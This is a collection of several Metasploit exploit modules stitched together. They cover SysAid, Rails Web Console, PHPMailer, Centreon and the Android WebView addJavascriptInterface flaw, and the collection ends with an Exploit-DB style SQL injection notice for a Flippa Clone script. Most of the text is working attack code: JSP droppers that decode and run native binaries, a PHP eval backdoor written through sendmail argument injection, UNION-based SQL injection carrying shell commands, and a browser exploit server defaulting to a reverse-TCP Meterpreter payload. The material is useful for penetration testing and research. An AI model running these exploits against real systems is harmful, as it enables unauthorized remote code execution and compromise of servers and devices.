# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'SysAid Help Desk Administrator Portal Arbitrary File Upload',
      'Description' => %q{
        This module exploits a file upload vulnerability in SysAid Help Desk.
        The vulnerability exists in the ChangePhoto.jsp in the administrator portal,
        which does not correctly handle directory traversal sequences and does not
        enforce file extension restrictions. While an attacker needs an administrator
        account in order to leverage this vulnerability, there is a related Metasploit
        auxiliary module which can create this account under some circumstances.
        This module has been tested in SysAid v14.4 in both Linux and Windows.
      },
      'Author'       =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2015-2994'],
          ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
        ],
      'DefaultOptions' => { 'WfsDelay' => 5 },
      'Privileged'  => false,
      'Platform'    => %w{ linux win },
      'Arch' => ARCH_X86,
      'Targets'     =>
        [
          [ 'Automatic', { } ],
          [ 'SysAid Help Desk v14.4 / Linux',
            {
              'Platform' => 'linux'
            }
          ],
          [ 'SysAid Help Desk v14.4 / Windows',
            {
              'Platform' => 'win'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 3 2015'))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 8080]),
        OptString.new('TARGETURI', [ true,  "SysAid path", '/sysaid']),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'Password for the specified username']),
      ], self.class)
  end


  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'),
      'method' => 'GET'
    })
    if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/
      major = $1.to_i
      minor = $2.to_i
      if major == 14 && minor == 4
        return Exploit::CheckCode::Appears
      elsif major > 14
        return Exploit::CheckCode::Safe
      end
    end
    # Haven't tested in versions < 14.4, so we don't know if they are vulnerable or not
    return Exploit::CheckCode::Unknown
  end


  def authenticate
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'Login.jsp'),
      'method' => 'POST',
      'vars_post' => {
        'userName' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res && res.code == 302 && res.get_cookies
      return res.get_cookies
    else
      return nil
    end
  end


  def upload_payload(payload, is_exploit)
    post_data = Rex::MIME::Message.new
    post_data.add_part(payload,
      'application/octet-stream', 'binary',
      "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(10))}.jsp\"")

    data = post_data.to_s

    if is_exploit
      print_status("Uploading payload...")
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'ChangePhoto.jsp'),
      'method' => 'POST',
      'cookie' => @cookie,
      'data'   => data,
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
      'vars_get' => { 'isUpload' => 'true' }
    })

    if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/
      if is_exploit
        print_status("Payload uploaded successfully")
      end

      return $1
    else
      return nil
    end
  end

  def pick_target
    unless target.name == 'Automatic'
      return target
    end

    print_status("Determining target")
    os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
    url = upload_payload(os_finder_payload, false)

    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], url),
      'method' => 'GET',
      'cookie' => @cookie,
      'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
    })

    if res && res.code == 200
      if res.body.to_s =~ /Linux/
        register_files_for_cleanup('webapps/' + url)
        return targets[1]
      elsif res.body.to_s =~ /Windows/
        register_files_for_cleanup('root/' + url)
        return targets[2]
      end
    end

    nil
  end

  def generate_jsp_payload
    opts = {:arch => @my_target.arch, :platform => @my_target.platform}
    exe = generate_payload_exe(opts)
    base64_exe = Rex::Text.encode_base64(exe)

    native_payload_name = rand_text_alpha(rand(6)+3)
    ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

    var_raw     = rand_text_alpha(rand(8) + 3)
    var_ostream = rand_text_alpha(rand(8) + 3)
    var_buf     = rand_text_alpha(rand(8) + 3)
    var_decoder = rand_text_alpha(rand(8) + 3)
    var_tmp     = rand_text_alpha(rand(8) + 3)
    var_path    = rand_text_alpha(rand(8) + 3)
    var_proc2   = rand_text_alpha(rand(8) + 3)

    if @my_target['Platform'] == 'linux'
      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
      chmod = %Q|
      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
      Thread.sleep(200);
      |

      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
      cleanup = %Q|
      Thread.sleep(200);
      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
      |
    else
      chmod = ''
      cleanup = ''
    end

    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>
    <%
    try {
      String #{var_buf} = "#{base64_exe}";
      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
      String #{var_path} = #{var_tmp}.getAbsolutePath();
      BufferedOutputStream #{var_ostream} =
        new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      #{chmod}
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |

    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')
    jsp = jsp.gsub(/\x0d\x0a/, '')
    jsp = jsp.gsub(/\x0a/, '')

    return jsp
  end

  def exploit
    @cookie = authenticate
    unless @cookie
      fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.")
    end
    print_status("Authentication was successful with the provided credentials.")

    @my_target = pick_target
    if @my_target.nil?
      fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.")
    end
    print_status("Selected target #{@my_target.name}")

    # When using auto targeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case and ask the user to select an appropriate payload.
    if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end

    jsp_payload = generate_jsp_payload
    jsp_path = upload_payload(jsp_payload, true)
    unless jsp_path
      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
    end

    if @my_target == targets[1]
      register_files_for_cleanup('webapps/' + jsp_path)
    else
      register_files_for_cleanup('root/' + jsp_path)
    end

    print_status("Executing payload...")
    send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], jsp_path),
      'method' => 'GET',
      'cookie' => @cookie,
      'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) }
    })
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution',
      'Description'    => %q{
          This module exploits an IP whitelist bypass vulnerability in the developer
        web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also
        achieve code execution on Rails 4.2.x if the attack is launched from a
        whitelisted IP range.
      },
      'Author'         => [
        'joernchen <joernchen[at]phenoelit.de>', # Discovery & disclosure
        'Ben Murphy <benmmurphy@gmail.com>',     # Discovery & disclosure
        'hdm'                                    # Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-3224' ],
          [ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ],
          [ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ],
          [ 'URL', 'https://hackerone.com/reports/44513' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PrependFork' => true },
      'DisclosureDate' => 'Jun 16 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
      ], self.class)
  end

  #
  # Identify the web console path and session ID, then inject code with it
  #
  def exploit
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'headers' => {
        'X-Forwarded-For' => '0000::1'
      }
    }, 25)

    unless res
      print_error("Error: No response requesting #{datastore['TARGETURI']}")
      return
    end

    web_console_path = nil

    # Support vulnerable Web Console versions
    if res.body.to_s =~ /data-remote-path='([^']+)'/
      web_console_path = "/" + $1
    end

    # Support newer Web Console versions
    if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/
      web_console_mount = $1
      unless res.body.to_s =~ /data-session-id='([^']+)'/
        print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
        return
      end
      web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
    end

    unless web_console_path
      if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
        print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
      else
        print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
      end
      return
    end

    print_status("Sending payload to #{web_console_path}")
    res = send_request_cgi({
      'uri'       => web_console_path,
      'method'    => 'PUT',
      'headers'   => {
        'X-Forwarded-For'  => '0000::1',
        'Accept'           => 'application/vnd.web-console.v2',
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'input' => payload.encoded
      }
    }, 25)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHPMailer Sendmail Argument Injection',
      'Description'    => %q{
        PHPMailer versions up to and including 5.2.19 are affected by a
        vulnerability which can be leveraged by an attacker to write a file with
        partially controlled contents to an arbitrary location through injection
        of arguments that are passed to the sendmail binary. This module
        writes a payload to the web root of the webserver before then executing
        it with an HTTP request. The user running PHPMailer must have write
        access to the specified WEB_ROOT directory and successful exploitation
        can take a few minutes.
      },
      'Author'         => [
        'Dawid Golunski',   # vulnerability discovery and original PoC
        'Spencer McIntyre'  # metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2016-10033'],
        ['CVE', '2016-10045'],
        ['EDB', '40968'],
        ['EDB', '40969'],
        ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
        ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
      ],
      'DisclosureDate' => 'Dec 26 2016',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Payload'        => {'DisableNops' => true},
      'Targets'        => [
        ['PHPMailer <5.2.18', {}],
        ['PHPMailer 5.2.18 - 5.2.19', {}]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI',  [true, 'Path to the application root', '/']),
        OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
        OptString.new('WEB_ROOT',   [true, 'Path to the web root', '/var/www'])
      ], self.class)
    register_advanced_options(
      [
        OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
      ], self.class)
  end

  def trigger(trigger_uri)
    print_status("Sleeping before requesting the payload from: #{trigger_uri}")

    page_found = false
    sleep_time = 10
    wait_time = datastore['WAIT_TIMEOUT']
    print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
    while wait_time > 0
      sleep(sleep_time)
      wait_time -= sleep_time
      res = send_request_cgi(
        'method'   => 'GET',
        'uri'      => trigger_uri
      )

      if res.nil?
        if page_found or session_created?
          print_good('Successfully triggered the payload')
          break
        end

        next
      end

      next unless res.code == 200

      if res.body.length == 0 and not page_found
        print_good('Successfully found the payload')
        page_found = true
      end
    end
  end

  def exploit
    payload_file_name = "#{rand_text_alphanumeric(8)}.php"
    payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"

    if target.name == 'PHPMailer <5.2.18'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    else
      fail_with(Failure::NoTarget, 'The specified version is not supported')
    end

    data = Rex::MIME::Message.new
    data.add_part('submit', nil, nil, 'form-data; name="action"')
    data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
    data.add_part(email, nil, nil, 'form-data; name="email"')
    data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')

    print_status("Writing the backdoor to #{payload_file_path}")
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s
    )

    register_files_for_cleanup(payload_file_path)

    trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Centreon SQL and Command Injection',
      'Description'    => %q{
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
        commands as long as there is a valid session registered in the centreon.session table.
        In order to have a valid session, all it takes is a successful login from anybody.
        The exploit itself does not require any authentication.
        This module has been tested successfully on Centreon Enterprise Server 2.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MaZ', # Vulnerability Discovery and Analysis
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2014-3828'],
          ['CVE', '2014-3829'],
          ['US-CERT-VU', '298796'],
          ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 1500, # having into account 8192 as max URI length
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
            }
        },
      'Targets'        =>
        [
          ['Centreon Enterprise Server 2.2', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 15 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
      ], self.class)
  end

  def check
    random_id = rand_text_numeric(5 + rand(8))
    res = send_session_id(random_id)

    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
      return Exploit::CheckCode::Safe
    end

    injection = "#{random_id}' or 'a'='a"
    res = send_session_id(injection)

    if res && res.code == 200
      if res.body && res.body.to_s =~ /sh: graph: command not found/
        return Exploit::CheckCode::Vulnerable
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
    elsif check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
    end

    print_status("Exploiting...")
    random_id = rand_text_numeric(5 + rand(8))
    random_char = rand_text_alphanumeric(1)
    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
    res = send_template_id(session_injection, template_injection)

    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
      vprint_status("Output: #{res.body}")
    end
  end

  def send_session_id(session_id)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id
        }
    )

    res
  end

  def send_template_id(session_id, template_id)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id,
          'template_id' => template_id
        }
      }, 3)

    res
  end

  def mysql_payload
    p = ''
    payload.encoded.each_byte { |c| p << "#{c},"}
    p
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/android'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Android

  VULN_CHECK_JS = %Q|
    for (i in top) {
      try {
        top[i].getClass().forName('java.lang.Runtime');
        is_vuln = true; break;
      } catch(e) {}
    }
  |

  autopwn_info(
    :os_name    => OperatingSystems::Match::ANDROID,
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => VULN_CHECK_JS
  )

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description'         => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'             => MSF_LICENSE,
      'Author'              => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'          => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
        ['CVE', '2012-6636'], # original CVE for addJavascriptInterface
        ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
        ['EDB', '31519'],
        ['OSVDB', '97520']
      ],
      'Platform'            => ['android', 'linux'],
      'Arch'                => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
      'DefaultOptions'      => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
      'Targets'             => [ [ 'Automatic', {} ] ],
      'DisclosureDate'      => 'Dec 21 2012',
      'DefaultTarget'       => 0,
      'BrowserRequirements' => {
        :source     => 'script',
        :os_name    => OperatingSystems::Match::ANDROID,
        :vuln_test  => VULN_CHECK_JS,
        :vuln_test_error => 'No vulnerable Java objects were found in this web context.'
      }
    ))

    deregister_options('JsObfuscate')
  end

  # Hooked to prevent BrowserExploitServer from attempting to do JS detection
  # on requests for the static javascript file
  def on_request_uri(cli, req)
    if req.uri =~ /\.js/
      serve_static_js(cli, req)
    else
      super
    end
  end

  # The browser appears to be vulnerable, serve the exploit
  def on_request_exploit(cli, req, browser)
    arch = normalize_arch(browser[:arch])
    print_status "Serving #{arch} exploit..."
    send_response_html(cli, html(arch))
  end

  # Called when a client requests a .js route.
  # This is handy for post-XSS.
  def serve_static_js(cli, req)
    arch          = req.qstring['arch']
    response_opts = { 'Content-type' => 'text/javascript' }

    if arch.present?
      print_status("Serving javascript for arch #{normalize_arch arch}")
      send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
    else
      print_status("Serving arch detection javascript")
      send_response(cli, static_arch_detect_js, response_opts)
    end
  end

  # This is served to requests for the static .js file.
  # Because we have to use javascript to detect arch, we have 3 different
  # versions of the static .js file (x86/mips/arm) to choose from. This
  # small snippet of js detects the arch and requests the correct file.
  def static_arch_detect_js
    %Q|
      var arches = {};
      arches['#{ARCH_ARMLE}']  = /arm/i;
      arches['#{ARCH_MIPSLE}'] = /mips/i;
      arches['#{ARCH_X86}']    = /x86/i;

      var arch = null;
      for (var name in arches) {
        if (navigator.platform.toString().match(arches[name])) {
          arch = name;
          break;
        }
      }

      if (arch) {
        // load the script with the correct arch
        var script = document.createElement('script');
        script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
        script.setAttribute('type', 'text/javascript');

        // ensure body is parsed and we won't be in an uninitialized state
        setTimeout(function(){
          var node = document.body \|\| document.head;
          node.appendChild(script);
        }, 100);
      }
    |
  end

  # @return [String] normalized client architecture
  def normalize_arch(arch)
    if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
  end

  def html(arch)
    "<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
  end
end
            
# # # # #
# Exploit Title: Flippa Clone - SQL Injection
# Google Dork: N/A
# Date: 23.03.2017
# Vendor Homepage: http://www.snobscript.com/
# Software: http://www.snobscript.com/downloads/flippa-clone/
# Demo: http://flippaportal.scriptfirm.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/domain-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/site-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/ask-a-question/[SQL]
# Etc...
# # # # #